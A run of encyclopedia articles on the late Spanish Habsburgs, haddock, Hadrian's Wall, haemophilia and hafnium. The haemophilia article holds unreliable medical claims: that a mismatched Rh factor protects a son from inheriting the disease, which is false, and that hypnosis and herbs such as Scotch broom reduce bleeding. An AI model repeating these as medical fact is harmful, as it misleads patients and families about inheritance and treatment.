          The Roman Catholic Church had always been important to the Spanish economy, and particularly in the reigns of Philip III and IV, who had bouts of intense personal piety and church philanthropy, large areas of the country were donated to the church. The later Habsburgs did nothing to promote redistribution of land, and by the end of Charles II's reign, most of Castile was in the hands of a select few landowners, the largest of which by far was the Church.


          


          Spanish art and culture (15161700)


          The Spanish Golden Age was a flourishing period of arts and letters in Spain which spanned roughly from 15501650. Some of the outstanding figures of the period were El Greco, Diego Velzquez, Miguel de Cervantes, and Pedro Caldern de la Barca.


          El Greco and Velzquez were both painters, the former most notably recognized for his religious depictions and the latternow regarded as one of the most important figures in all of Spanish artfor his precise, realistic portraiture of the contemporary court of Philip IV. Cervantes and de la Barca were both writers; Don Quixote de la Mancha, by Cervantes, is one of the most famous works of the period and probably the best-known piece of Spanish literature of all time. It is a parody of the romantic, chivalric aspects of knighthood and a criticism of contemporary social structures and societal norms. Juana Ins de la Cruz, the last great writer of this golden age, died in New Spain in 1695.


          This period also saw a flourishing in intellectual activity, now known as the School of Salamanca, producing thinkers that were studied throughout Europe.
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              	Melanogrammus aeglefinus

              (Linnaeus, 1758)
            

          


          The haddock or offshore hake is a marine fish distributed on both sides of the North Atlantic. Haddock is a popular food fish, widely fished commercially.


          The haddock is easily recognised by a black lateral line running along its white side, not to be confused with pollock which has the reverse, ie white line on black side, and a distinctive dark blotch above the pectoral fin, often described as a "thumbprint" or even the "Devil's thumbprint" or "St. Peter's mark".


          Haddock is most commonly found at depths of 40 to 133 m, but has a range as deep as 300 m. It thrives in temperatures of 2 to 10C (36 to 50F). Juveniles prefer shallower waters and larger adults deeper water. Generally, adult haddock do not engage in long migratory behaviour as do the younger fish, but seasonal movements have been known to occur across all ages. Haddock feed primarily on small invertebrates, although larger members of the species may occasionally consume fish.


          Growth rates of haddock have changed significantly over the past 30 to 40 years. Presently, growth is more rapid, with haddock reaching their adult size much earlier than previously noted. However, the degree to which these younger fish contribute to reproductive success of the population is unknown. Growth rates of Georges Bank haddock, however, have slowed in recent years. There is evidence that this is the result of an exceptionally large year class in 2003. Spawning occurs between January and June, peaking during late March and early April. The most important spawning grounds are in the waters off middle Norway near southwest Iceland, and Georges Bank. An average-sized female produces approximately 850,000 eggs, and larger females are capable of producing up to 3 million eggs each year.


          


          Fisheries


          Reaching sizes up to 1.1 m, haddock is fished for year-round. Some of the methods used are Danish seine nets, trawlers, long lines, fishing nets. The commercial catch of haddock in North America had declined sharply in recent years but is now recovering with recruitment rates running around where they historically were from the 1930s to 1960s.


          


          Cuisine


          Haddock is a very popular food fish, sold fresh, smoked, frozen, dried, or to a small extent canned. Haddock, along with cod and plaice, is one of the most popular fish used in British fish and chips.


          Fresh haddock has a fine white flesh and can be cooked in the same ways as cod. Freshness of a haddock fillet can be determined by how well it holds together, as a fresh one will be firm; also fillets should be translucent, while older fillets turn a chalky hue. Young, fresh haddock and cod fillets are often sold as scrod in Boston, Massachusetts; this refers to the size of the fish which have a variety of sizes, i.e. scrod, markets, and cows.


          Unlike the related cod, it does not salt well, so it is often preserved by drying and smoking. One form of smoked haddock is Finnan haddie, named for the fishing village of Finnan or Findon, Scotland, where it was originally cold-smoked over peat. Finnan haddie is often served poached in milk for breakfast. The town of Arbroath on the east coast of Scotland produces the Arbroath Smokie. This is a hot-smoked haddock which requires no further cooking before eating. Haddock is the predominant fish of choice in Scotland in a fish supper.


          Haddock is also the main ingredient of Norwegian fishballs (fiskeboller), and the essential ingredient in the classic Anglo-Indian dish kedgeree.


          The main nutritional value of haddock is as an excellent source of protein. It also contains a good deal of vitamin B12, pyridoxine, and selenium. The fish also contains a healthy balance of sodium and potassium. Overall the meat is extremely lean.
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          Hadrian's Wall (Latin: Rigore Valli Aeli, "the line along Hadrian's frontier") is a stone and turf fortification built by the Roman Empire across the width of what is now modern-day England. Begun in AD 122, it was the third of four such fortifications built across Great Britain, the first being from the Clyde to the Forth under Agricola and the last the Antonine Wall. All three were built to prevent military raids by the Pictish tribes (ancient inhabitants of Scotland) to the north, to improve economic stability and provide peaceful conditions in the Roman province of Britannia to the south, and to mark physically the frontier of the Empire. Hadrian's Wall is the best known of the three because its physical presence remains most evident today.


          The wall marked the northern limes in Britain and also the most heavily fortified border in the Empire. In addition to its use as a military fortification, it is thought that the gates through the wall would also have served as customs posts to allow trade taxation.


          A significant portion of the wall still exists, particularly the mid-section, and for much of its length the wall can be followed on foot. It is the most popular tourist attraction in Northern England, where it is often known simply as the Roman Wall. It was made a UNESCO World Heritage Site in 1987. English Heritage, a government organization in charge of managing the historic environment of England, describes it as "the most important monument built by the Romans in Britain".


          


          Dimensions
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          Hadrian's Wall was 80 Roman miles (73.5 statute miles or 117 kilometres) long, its width and height dependent on the construction materials which were available nearby. East of River Irthing the wall was made from squared stone and measured 3metres (9.7ft) wide and five to six metres (1620ft) high, while west of the river the wall was made from turf and measured 6metres (20ft) wide and 3.5metres (11.5ft) high. This does not include the wall's ditches, berms, and forts. The central section measured eight Roman feet wide (7.8ft or 2.4m) on a 10-foot (3.0m) base. Some parts of this section of the wall survive to a height of 10feet (3.0m).


          


          Route
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          Hadrian's Wall extended west from Segedunum at Wallsend on the River Tyne to the shore of the Solway Firth. The A69 and B6318 roads follow the course of the wall as it starts in Newcastle upon Tyne to Carlisle, then on round the northern coast of Cumbria. The wall is entirely in England and south of the border with Scotland by 15kilometres (9 mi) in the west and 110kilometres (68mi) in the east.


          


          Hadrian


          Hadrian's Wall was built following a visit by Roman Emperor Hadrian (AD76138) in AD122. Hadrian was experiencing military difficulties in Roman Britain and from the peoples of various conquered lands across the Empire, including Egypt, Judea, Libya, Mauretania, and many of the peoples conquered by his predecessor Trajan, so he was keen to impose order. However the construction of such an impressive wall was probably also a symbol of Roman power, both in occupied Britain and in Rome.


          Frontiers in the early empire were largely based on natural features or fortified zones with a heavy military presence. Military roads often marked the border, with forts and signal towers spread along them, and it was not until the reign of Domitian that the first solid frontier was constructed, in Germania Superior, using a simple fence. Hadrian expanded this idea, redesigning the German border by ordering a continuous timber palisade supported by forts behind it. Although such defences would not have held back any concerted invasion effort, they did physically mark the edge of Roman territory and went some way to providing a degree of control over who crossed the border and where.


          Hadrian reduced Roman military presence in the territory of the Brigantes, who lived between the rivers Tyne and Humber, and concentrated on building a more solid linear fortification to the north of them. This was intended to replace the Stanegate road which is generally thought to have served as the limes (the boundary of the Roman Empire) until then.


          


          Construction


          Construction probably started in AD 122 and was largely completed within six years. Construction started in the east and proceeded westwards, with soldiers from all three of the occupying Roman legions participating in the work. The route chosen largely paralleled the nearby Stanegate road from Luguvalium ( Carlisle) to Coria ( Corbridge), which was already defended by a system of forts, including Vindolanda. The wall in the east follows the outcrop of a hard, resistant igneous diabase rock escarpment, known as the Whin Sill. The wall incorporated Agricola's Ditch. The wall was constructed primarily to prevent entrance by small bands of raiders or unwanted immigration from the north, not as a fighting line for a major invasion according to Johnson.


          The initial plan called for a ditch and wall with eighty small gated milecastle fortlets, one placed every Roman mile, holding a few dozen troops each, and pairs of evenly spaced intermediate turrets used for observation and signalling. Local limestone was used in the construction, except for the section to the west of Irthing where turf was used instead, since there were no useful outcrops nearby. Milecastles in this area were also built from timber and earth rather than stone, but turrets were always made from stone. The Broad Wall was initially built with a clay-bonded rubble core and mortared dressed rubble facing stones, but this seems to have made it vulnerable to collapse, and repair with a mortared core was sometimes necessary.
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          The milecastles and turrets were of three different designs, depending on which Roman legion built them  inscriptions of the Second, Sixth, and Twentieth Legions, tell us that all were involved in the construction. All were about 493 metres (539 yards) apart and measured 4.27 square metres (46.0 square feet) internally.


          Construction was divided into lengths of about 5 miles (8 km). One group of each legion would excavate the foundations and build the milecastles and turrets and then other cohorts would follow with the wall construction.


          Early in its construction, just after reaching the North Tyne, the width of the wall was narrowed to 2.5 metres (8.2 ft) or even less (sometimes 1.8 metres) (the "Narrow Wall"). However, Broad Wall foundations had already been laid as far as the River Irthing, where the Turf Wall began, demonstrating that construction worked from east to west. Many turrets and milecastles were optimistically provided with stub 'wing walls' in preparation for joining to the Broad Wall, offering a handy reference for archaeologists trying to piece together the construction chronology.


          Within a few years it was decided to add a total of 14 to 17 (sources disagree) full-sized forts along the length of the wall, including Vercovicium ( Housesteads) and Banna ( Birdoswald), each holding between 500 and 1,000 auxiliary troops (no legions were posted to the wall). The eastern end of the wall was extended further east from Pons Aelius (Newcastle) to Segedunum (Wallsend) on the Tyne estuary. Some of the larger forts along the wall, such as Cilurnum (Chesters) and Vercovicium (Housesteads), were built on top of the footings of milecastles or turrets, showing the change of plan. An inscription mentioning early governor Aulus Platorius Nepos indicates that the change of plans took place early on. Also some time still during Hadrian's reign (before AD 138) the wall west of the Irthing was rebuilt in sandstone to basically the same dimensions as the limestone section to the east.


          


          After the forts had been added (or possibly at the same time), the Vallum was built on the southern side. It consisted of a large, flat-bottomed ditch six metres (20 ft) wide at the top and three metres (10 ft) deep bounded by a berm on each side 10 metres (33 ft) wide. Beyond the berms were earth banks six metres (20 ft) wide and two metres (6.5 ft) high. Causeways crossed the ditch at regular intervals. Initially the berm appears to have been the main route for transportation along the wall.


          The wall was thus part of a defensive system which, from north to south included:


          
            	a glacis and a deep ditch


            	a berm with rows of pits holding entanglements


            	the curtain wall


            	a later military road (the "Military Way")


            	a north mound, a ditch and a south mound to prevent or slow down any raids from a rebelling southern tribe.

          


          


          Garrison


          The wall was garrisoned by auxiliary (non-legionary) units of the army (non-citizens). Their numbers fluctuated throughout the occupation but may have been around 9,000 strong in general, including infantry and cavalry. The new forts could hold garrisons of 500 men, while cavalry units of 1,000 troops were stationed at either end. The total number of soldiers manning the early wall was probably greater than 10,000.


          They suffered serious attacks in 180, and especially between 196 and 197 when the garrison had been seriously weakened, following which major reconstruction had to be carried out under Septimius Severus. The region near the wall remained peaceful for most of the rest of the third century. It is thought that some in the garrison may have married and integrated into the local community throughout the years.
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          After Hadrian


          In the years after Hadrian's death in 138, the new emperor, Antoninus Pius essentially abandoned the wall, leaving it occupied in a support role, and began building a new wall in Scotland proper, about 160 kilometres (100mi) north, called the Antonine Wall. This turf wall ran 40 Roman miles (about 37.8mi (60.8km)) and had significantly more forts than Hadrian's Wall. Antoninus was unable to conquer the northern tribes, so when Marcus Aurelius became emperor he abandoned the Antonine Wall and reoccupied Hadrian's Wall as the main defensive barrier in 164. The wall remained occupied by Roman troops until their withdrawal from Britain.


          In the late fourth century, barbarian invasions, economic decline, and military coups loosened the Empire's hold on Britain. By 410, the Roman administration and its legions were gone, and Britain was left to look to its own defences and government. The garrisons, by now probably made up mostly of local Britons who had nowhere else to go, probably lingered on in some form for generations. Archaeology is beginning to reveal that some parts of the wall remained occupied well into the fifth century. Enough also survived in the eighth century for spolia from it to find its way into the construction of Jarrow Priory, and for Bede to see and describe the wall thus in Historia Ecclesiastica 1.5, although he misidentified it as being built by Septimius Severus:


          
            
              	

              	After many great and dangerous battles, he thought fit to divide that part of the island, which he had recovered from the other unconquered nations, not with a wall, as some imagine, but with a rampart. For a wall is made of stones, but a rampart, with which camps are fortified to repel the assaults of enemies, is made of sods, cut out of the earth, and raised above the ground all round like a wall, having in front of it the ditch whence the sods were taken, and strong stakes of wood fixed upon its top.

              	
            

          


          But in time the wall was abandoned and fell into ruin. Over the centuries and even into the twentieth century a large proportion of the stone was reused in other local buildings.


          It fascinated John Speed who published a set of maps of England and Wales by county at the turn of the sevententh century. He describes it as 'the Picts Wall' (or 'Pictes'; he uses both spellings). The maps for Cumberland and Northumberland not only show the wall as a major feature, but are ornamented with drawings of roman remains which had been found, together with, in the case of the Cumberland map, a cartouche in which he sets out a description of the wall itself.


          


          John Clayton
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          Much of the wall has disappeared. The preservation of what remains can be credited to John Clayton. He trained as a lawyer and became town clerk of Newcastle in the 1830s. He became enthusiastic about preserving the wall after a visit to Chesters. To prevent farmers taking stones from the wall, he began buying some of the land on which the wall stood. In 1834 he started purchasing property around Steel Rigg. Eventually he had control of land from Brunton to Cawfields. This stretch included the sites of Chesters, Carrawburgh, Housesteads and Vindolanda. Clayton carried out excavation work at the fort at Cilurnum and at Housesteads, and he excavated some milecastles.


          Clayton managed the farms he had acquired and succeeded in improving both the land and the livestock. His successful management produced a cash flow which could be invested in future restoration work.


          Workmen were employed to restore sections of the wall, generally up to a height of seven courses. The best example of the Clayton Wall is at Housesteads. After Claytons death, the estate passed to relatives and was soon lost at gambling. Eventually the National Trust began the process of acquiring the land on which the wall stands.


          At Wallington Hall, near Morpeth, there is a painting by William Bell Scott, which shows a centurion supervising the building of the wall. The centurion has been given the face of John Clayton.


          


          World Heritage Site
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          Hadrian's Wall was declared a World Heritage Site in 1987, and in 2005 it became part of the larger " Frontiers of the Roman Empire" World Heritage Site which also includes sites in Germany.


          


          Hadrian's Wall Path


          In 2003, a National Trail footpath was opened which follows the line of the wall from Wallsend to Bowness-on-Solway. Because of the fragile landscape, walkers are asked only to follow the path in summer months.


          


          Roman-period names
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          No sources survive to confirm what the wall was called in antiquity, and no historical literary source gives it a name. However, the discovery of a small enamelled bronze Roman cup in Staffordshire in 2003 has provided a clue. The cup is inscribed with a series of names of Roman forts along the western sector of the wall, together with a personal name and a phrase:


          
            	MAIS COGGABATA VXELODVNVM CAMBOGLANNA RIGORE VALI AELI DRACONIS

          


          Bowness (MAIS) is followed by Drumburgh-by-Sands (COGGABATA) until now known only as CONGAVATA from the late Roman document, the Notitia Dignitatum. Next comes Stanwix (VXELODVNVM), then Castlesteads (CAMBOGLANNA).


          RIGORE is the ablative form of the Latin word rigor. This can mean several things, but one of its less-known meanings is straight line, course or direction. This sense was used by Roman surveyors and appears on several inscriptions to indicate a line between places. So the meaning could be from the course, or better in English 'according to the course'.


          
            [image: The Staffordshire Moorlands cup, which provides the ancient name of Hadrian's Wall.]

            
              The Staffordshire Moorlands cup, which provides the ancient name of Hadrian's Wall.
            

          


          There is no known word as vali, but vallum was the Latin word for a frontier; today vallum is applied to the ditch and berm dug by the Roman army just south of the wall. The genitive form of vallum is valli, so one of the most likely meanings is VAL[L]I, of the frontier. Omitting one of a pair of double consonants is common on Roman inscriptions; moreover, an error in the transcription of a written note could be the reason: another similar bronze vessel, known as the Rudge Cup (found in Wiltshire in the 18th century) has VN missing from the name VXELODVNVM, for example, although the letters appear on the Staffordshire Moorlands cup. The Rudge Cup only bears fort names.


          The name AELI was Hadrian's nomen, his main family name, the gens Aelia. The Roman bridge at Newcastle-upon-Tyne was called Pons Aelius.


          DRACONIS can be translated as [by the hand  or property] of Draco. It was normal for Roman manufacturers to give their names in the genitive (of), and by the hand would be understood. The form is common, for example, on Samian ware.


          The translation, therefore, could be:


          "Mais, Coggabata, Uxelodunum, Camboglanna, according to the line of the Aelian frontier. [By the hand or The property] of Draco."


          This would mean the Romans knew Hadrian's Wall as the line demarcating Vallum Aelium, 'the Aelian frontier'.


          


          Forts


          The Latin and Romano-Celtic names of some of the Hadrian's Wall forts are known, from the Notitia Dignitatum and other evidence:


          
            	Segedunum ( Wallsend)


            	Pons Aelius (Newcastle upon Tyne)


            	Condercum ( Benwell Hill)


            	Vindobala ( Rudchester)

          


          
            [image: Poltross burn milecastle]

            
              Poltross burn milecastle
            

          


          
            	Hunnum ( Halton Chesters)


            	Cilurnum ( Chesters aka Walwick Chesters)


            	Procolita ( Carrowburgh)


            	Vercovicium ( Housesteads)


            	Aesica ( Great Chesters)


            	Magnis (Carvoran)


            	Banna ( Birdoswald)


            	Camboglanna ( Castlesteads)


            	Uxelodunum ( Stanwix. Also known as Petriana)


            	Aballava ( Burgh-by-Sands)


            	Coggabata ( Drumburgh)


            	Mais ( Bowness-on-Solway)

          


          Outpost forts beyond the wall include:


          
            	Habitancum ( Risingham)


            	Bremenium ( Rochester)


            	Ad Fines ( Chew Green)

          


          Supply forts behind the wall include:


          
            	Alauna ( Maryport)


            	Arbeia ( South Shields)


            	Coria ( Corbridge)


            	Vindolanda ( Little Chesters)


            	Vindomora ( Ebchester)
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              	Hemophilia d

              Classification and external resources
            


            
              	ICD- 10

              	D 66.- D 68.
            


            
              	ICD- 9

              	286
            


            
              	OMIM

              	306700 306900 264900
            


            
              	DiseasesDB

              	5555 5561 29376
            


            
              	MedlinePlus

              	000537
            


            
              	eMedicine

              	med/3528
            


            
              	MeSH

              	D025861
            

          


          Haemophilia (also spelled as hemophilia, from the Greek haima "blood" and philia "to love") is a group of hereditary genetic disorders that impair the body's ability to control blood clotting or coagulation. In its most common form, Hemophilia A, clotting factor VIII is absent. In Haemophilia B, factor IX is deficient. Hemophilia A occurs in about 1 in 5,00010,000 male births, while Hemophilia B occurs at about 1 in about 20,00034,000.


          The effects of this sex-linked, X chromosome disorder are manifested almost entirely in males, although the gene for the disorder is inherited from the mother. Females have two X chromosomes while males have only one, lacking a 'back up' copy for the defective gene. Females are therefore almost exclusively carriers of the disorder, and may have inherited it from either their mother or father. In about 30% of cases of Hemophilia B, however, there is no family history of the disorder and the condition is the result of a spontaneous gene mutation. A mother who is a carrier has a 50% chance of passing the faulty X chromosome to her daughter, while an affected father will always pass on the affected gene to his daughters. A son cannot inherit the defective gene from his father.


          These genetic deficiencies may lower blood plasma clotting factor levels of coagulation factors needed for a normal clotting process. When a blood vessel is injured, a temporary scab does form, but the missing coagulation factors prevent fibrin formation which is necessary to maintain the blood clot. Thus a haemophiliac does not bleed more intensely than a normal person, but for a much longer amount of time. In severe haemophiliacs even a minor injury could result in blood loss lasting days, weeks, or not ever healing completely. The critical risk here is with normally small injuries which, due to missing factor VIII, take long times to heal. In areas such as the brain or inside joints this can be fatal or permanently debilitating.


          The bleeding with external injury is normal, but incidence of late re-bleeding and internal bleeding is increased, especially into muscles, joints, or bleeding into closed spaces. Major complications include hemarthrosis, hemorrhage, gastrointestinal bleeding, and menorrhagia.


          


          Causes


          Hemophilia is nearly always caused by a genetic error causing the lack of a normally functioning clotting factor:


          
            	Hemophilia A involves a lack of functional clotting Factor VIII. (This represents 90% of haemophilia cases.)


            	Hemophilia B involves a lack of functional clotting Factor IX.


            	Hemophilia C involves a lack of functional clotting Factor XI.


            	Hypofibrinogenemia involves a lack of functional clotting Factor I. Because it is so rare, about 1 to 2 cases per million births, it has no definite treatment approved by the FDA. It affects males and females equally. The blood of people with Hypofibrinogenemia neither clots nor contains sufficient amounts of Fibrinogen.

          


          


          Occurrence


          Hemophilia is quite rare, with only about 1 instance in every 10,000 births (or 1 in 5,000 male births) for hemophilia A and 1 in 50,000 births for hemophilia B. About 18,000 people in the United States have hemophilia. Each year in the US, about 400 babies are born with the disorder. Hemophilia usually occurs in males and less often in females. It is estimated that about 2500 Canadians have hemophilia A and about 500 Canadians have hemophilia B.


          


          History


          
            [image: A young Queen Victoria passed hemophilia on to many of her descendants.]

            
              A young Queen Victoria passed hemophilia on to many of her descendants.
            

          


          The earliest possible implicit reference to hemophilia may have been in the Talmud, a Jewish holy text, which states that males did not have to be circumcised if two brothers had already died from the procedure. In 1000, the Arab physician Abu al-Qasim al-Zahrawi (known as Albucasis in the West) wrote a more explicit description of hemophilia in his Al-Tasrif, in which he wrote of an Andalusian family whose males died of bleeding after minor injuries.


          In 1803, Dr. John Conrad Otto, a Philadelphia physician, wrote an account about "a hemorrhagic disposition existing in certain families." He recognized that the disorder was hereditary and that it affected males and rarely females. He was able to trace the disease back to a woman who settled near Plymouth in 1720. The first usage of the term "hemophilia" appears in a description of the condition written by Hopff at the University of Zurich in 1828. In 1937, Patek and Taylor, two doctors from Harvard, discovered anti-hemophilic globulin. Pavlosky, a doctor from Buenos Aires, found Hemophilia A and Hemophilia B to be separate diseases by doing a lab test. This test was done by transferring the blood of one hemophiliac to another hemophiliac. The fact that this corrected the clotting problem showed that there was more than one form of hemophilia.


          Haemophilia in European royalty featured prominently and thus is sometimes known as "the royal disease". Queen Victoria passed the mutation to her son Leopold and, through several of her daughters, to various royals across the continent, including the royal families of Spain, Germany, and Russia. Tsarevich Alexei Nikolaevich, son of Nicholas II, was a descendant of Queen Victoria and suffered from hemophilia. It was claimed that Rasputin was successful at treating the Tsarevich Alexei of Russia's hemophilia. At the time, a common treatment administered by professional doctors was to use aspirin, which worsened rather than lessen the problem. It is believed that, by simply advising against the medical treatment, Rasputin could bring visible and significant improvement to the condition of Alexei.


          Prior to 1985, there were no laws enacted within the U.S. to screen blood. As a result, many hemophilia patients who received untested and unscreened clotting factor prior to 1992 were at an extreme risk for contracting HIV and Hepatitis C via these blood products. It is estimated that more than 50% of the Hemophilia population, over 10,000 people, contracted HIV from the tainted blood supply in the United States alone.


          As a direct result of the contamination of the blood supply in the late 1970s and early/mid 1980s with viruses such as Hepatitis and HIV, new methods were developed in the production of clotting factor products. The initial response was to heat-treat ( pasteurize) plasma-derived factor concentrate, followed by the development of monoclonal factor concentrates, which use a combination of heat treatment and affinity chromatography to inactivate any viral agents in the pooled plasma from which the factor concentrate is derived. The Lindsay Tribunal in Ireland investigated, among other things, the slow adoption of the new methods.


          


          Genetics


          
            [image: X-linked recessive inheritance]
          


          Females possess two X-chromosomes, whereas males have one X and one Y chromosome. Since the mutations causing the disease are recessive, a woman carrying the defect on one of her X-chromosomes may not be affected by it, as the equivalent allele on her other chromosome should express itself to produce the necessary clotting factors. However the Y-chromosome in men has no gene for factors VIII or IX. If the genes responsible for production of factor VIII or factor IX present on a male's X-chromosome are deficient there is no equivalent on the Y-chromosome, so the deficient gene is not masked by the dominant allele and he will develop the illness.


          Since a male receives his single X-chromosome from his mother, the son of a healthy female silently carrying the deficient gene will have a 50% chance of inheriting that gene from her and with it the disease; and if his mother is affected with haemophilia, he will have a 100% chance of being a haemophiliac. In contrast, for a female to inherit the disease, she must receive two deficient X-chromosomes, one from her mother and the other from her father (who must therefore be a haemophiliac himself). Hence haemophilia is far more common among males than females. However it is possible for female carriers to become mild haemophiliacs due to lyonisation (inactivation) of the X chromosomes. Haemophiliac daughters are more common than they once were, as improved treatments for the disease have allowed more haemophiliac males to survive to adulthood and become parents. Adult females may experience menorrhagia (heavy periods) due to the bleeding tendency. The pattern of inheritance is criss-cross type. This type of pattern is also seen in colour blindness.


          As with all genetic disorders, it is of course also possible for a human to acquire it spontaneously through mutation, rather than inheriting it, because of a new mutation in one of their parents' gametes. Spontaneous mutations account for about 33% of all haemophilia A and 20% of all hemophilia B cases. Genetic testing and genetic counseling is recommended for families with haemophilia. Prenatal testing, such as amniocentesis, is available to pregnant women who may be carriers of the condition.


          


          Probability


          If a female gives birth to a haemophiliac child, either the female is a carrier for the disease or the haemophilia was the result of a spontaneous mutation. Until modern direct DNA testing, however, it was impossible to determine if a female with only healthy children was a carrier or not. Generally, the more healthy sons she bore, the higher the probability that she was not a carrier. If the RH factor of the born male is different from the mother, the child will not be affected.


          If a male is afflicted with the disease and has children, his daughters will be carriers of haemophilia. His sons, however, will not be affected with the disease. This is because the disease is X-linked and the father cannot pass haemophilia through the Y chromosome. Males with the disorder are then no more likely to pass on the gene to their children than carrier females, though all daughter they sire will be carriers and all sons they father will not have hemophilia (unless the mother is a carrier).


          


          Treatment


          Though there is no cure for hemophilia, it can be controlled with regular infusions of the deficient clotting factor, i.e. factor VIII in haemophilia A or factor IX in hemophilia B. Factor replacement can be either isolated from human blood serum, recombinant, or a combination of the two. Some hemophiliacs develop antibodies (inhibitors) against the replacement factors given to them, so the amount of the factor has to be increased or non-human replacement products must be given, such as porcine factor VIII.


          If a patient becomes refractory to replacement coagulation factor as a result of circulating inhibitors, this may be partially overcome with recombinant human factor VII (NovoSeven), which is registered for this indication in many countries.


          In early 2008, the US Food and Drug Administration approved Xyntha ( Wyeth) anti-hemophilic factor, genetically engineered from the genes of Chinese hamster ovary cells. Since 1993 (Dr. Mary Nugent) recombinant factor products (which are typically cultured in Chinese hamster ovary ( CHO) tissue culture cells and involve little, if any human plasma products) have been available and have been widely used in wealthier western countries. While recombinant clotting factor products offer higher purity and safety, they are, like concentrate, extremely expensive, and not generally available in the developing world. In many cases, factor products of any sort are difficult to obtain in developing countries.


          In Western countries, common standards of care fall into one of two categories: prophylaxis or on-demand. Prophylaxis involves the infusion of clotting factor on a regular schedule in order to keep clotting levels sufficiently high to prevent spontaneous bleeding episodes. On-demand treatment involves treating bleeding episodes once they arise. In 2007, a clinical trial was published in the New England Journal of Medicine (NEJM) comparing on-demand treatment of boys (< 30 months) with Hemophilia A with prophylactic treatment (infusions of 25 IU/kg body weight of Factor VIII every other day) in respect to its effect on the prevention of joint-diseases. When the boys reached 6 years of age, 93% of those in the prophylaxis group and 55% of those in the episodic-therapy group had a normal index joint-structure on MRI. Prophylactic treatment, however, resulted in average costs of $300,000 per year. The author of an editorial published in the same issue of the NEJM demands more clinical studies addressing the cost-effectiveness of prophylactic treatment.


          It is recommended that people affected with Hemophilia do specific exercises to strengthen the joints, particularly the elbows, knees, and ankles. Exercises include elements which increase flexibility, tone, and strength of muscles, increasing their ability to protect joints from damaging bleeds. These exercises are recommended after an internal bleed occurs and on a daily basis to strengthen the muscles and joints to prevent new bleeding problems. Many recommended exercises include standard sports warm-up and training exercises such as stretching of the calves, ankle circles, elbow flexions, and Quadriceps sets.


          


          Alternative and complementary treatments


          Scientific studies indicate that hypnosis and self-hypnosis can be effective at reducing bleeds and the severity of bleeds and thus the frequency of factor treatment. Herbs which strengthen blood vessels and act as astringents may also benefit patients with hemophilia. These herbs include: Bilberry( Vaccinium myrtillus), Grape seed extract ( Vitis vinifera), Scotch broom ( Cytisus scoparius), Stinging nettle ( Urtica dioica), Witch hazel ( Hamamelis virginiana), and yarrow ( Achillea millefolium).


          


          Differential diagnosis


          Haemophilia A can be mimicked by von Willebrand Disease


          
            	von Willebrand Disease type 2A, where decreased levels of von Willebrand Factor can lead to premature proteolysis of Factor VIII. In contrast to haemophilia, vWD type 2A is inherited in an autosomal dominant fashion.


            	von Willebrand Disease type 2N, where von Willebrand Factor cannot bind Factor VIII, autosomal recessive inheritance. (ie; both parents need to give the child a copy of the gene).


            	von Willebrand Disease type 3, where lack of von Willebrand Factor causes premature proteolysis of Factor VIII. In contrast to haemophilia, vWD type 3 is inherited in an autosomal recessive fashion.
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              	General
            


            
              	Name, Symbol, Number

              	hafnium, Hf, 72
            


            
              	Chemical series

              	transition metals
            


            
              	Group, Period, Block

              	4, 6, d
            


            
              	Appearance

              	grey steel

              [image: ]
            


            
              	Standard atomic weight

              	178.49 (2) gmol1
            


            
              	Electron configuration

              	[Xe] 4f14 5d2 6s2
            


            
              	Electrons per shell

              	2, 8, 18, 32, 10, 2
            


            
              	Physical properties
            


            
              	Phase

              	solid
            


            
              	Density (near r.t.)

              	13.31 gcm3
            


            
              	Liquid density at m.p.

              	12 gcm3
            


            
              	Melting point

              	2506 K

              (2233 C, 4051 F)
            


            
              	Boiling point

              	4876 K

              (4603 C, 8317 F)
            


            
              	Heat of fusion

              	27.2  kJmol1
            


            
              	Heat of vaporization

              	571  kJmol1
            


            
              	Specific heat capacity

              	(25C) 25.73 Jmol1K1
            


            
              	
                
                  
                    Vapor pressure
                  

                  
                    	P(Pa)

                    	1

                    	10

                    	100

                    	1 k

                    	10 k

                    	100 k
                  


                  
                    	at T(K)

                    	2689

                    	2954

                    	3277

                    	3679

                    	4194

                    	4876
                  

                

              
            


            
              	Atomic properties
            


            
              	Crystal structure

              	hexagonal
            


            
              	Oxidation states

              	4

              ( amphoteric oxide)
            


            
              	Electronegativity

              	1.3 (Pauling scale)
            


            
              	Ionization energies

              ( more)

              	1st: 658.5  kJmol1
            


            
              	2nd: 1440 kJmol1
            


            
              	3rd: 2250 kJmol1
            


            
              	Atomic radius

              	155  pm
            


            
              	Atomic radius (calc.)

              	208 pm
            


            
              	Covalent radius

              	150 pm
            


            
              	Miscellaneous
            


            
              	Magnetic ordering

              	no data
            


            
              	Electrical resistivity

              	(20C) 331 nm
            


            
              	Thermal conductivity

              	(300K) 23.0 Wm1K1
            


            
              	Thermal expansion

              	(25C) 5.9 mm1K1
            


            
              	Speed of sound (thin rod)

              	(20 C) 3010 m/s
            


            
              	Young's modulus

              	78 GPa
            


            
              	Shear modulus

              	30 GPa
            


            
              	Bulk modulus

              	110 GPa
            


            
              	Poisson ratio

              	0.37
            


            
              	Mohs hardness

              	5.5
            


            
              	Vickers hardness

              	1760 MPa
            


            
              	Brinell hardness

              	1700 MPa
            


            
              	CAS registry number

              	7440-58-6
            


            
              	Selected isotopes
            


            
              	
                
                  
                    Main article: Isotopes of hafnium
                  

                  
                    	iso

                    	NA

                    	half-life

                    	DM

                    	DE ( MeV)

                    	DP
                  


                  
                    	172Hf

                    	syn

                    	1.87 y

                    	

                    	0.350

                    	172Lu
                  


                  
                    	174Hf

                    	0.162%

                    	21015 y

                    	

                    	2.495

                    	170Yb
                  


                  
                    	176Hf

                    	5.206%

                    	176Hf is stable with 104 neutrons
                  


                  
                    	177Hf

                    	18.606%

                    	177Hf is stable with 105 neutrons
                  


                  
                    	178Hf

                    	27.297%

                    	178Hf is stable with 106 neutrons
                  


                  
                    	178 m2Hf

                    	syn

                    	31 y

                    	IT

                    	2.446

                    	178Hf
                  


                  
                    	179Hf

                    	13.629%

                    	179Hf is stable with 107 neutrons
                  


                  
                    	180Hf

                    	35.1%

                    	180Hf is stable with 108 neutrons
                  


                  
                    	182Hf

                    	syn

                    	9106 y

                    	

                    	0.373

                    	182Ta
                  

                

              
            


            
              	References
            

          


          Hafnium (pronounced /ˈhfniəm/) is a chemical element that has the symbol Hf and atomic number 72. A lustrous, silvery gray tetravalent transition metal, hafnium resembles zirconium chemically and it is found in zirconium minerals. Hafnium is used in tungsten alloys in filaments and electrodes, in integrated circuits as a gate insulator for transistors, and it as a neutron absorber in control rods in nuclear power plants.


          


          Notable characteristics


          
            [image: Hafnium metal]

            
              Hafnium metal
            

          


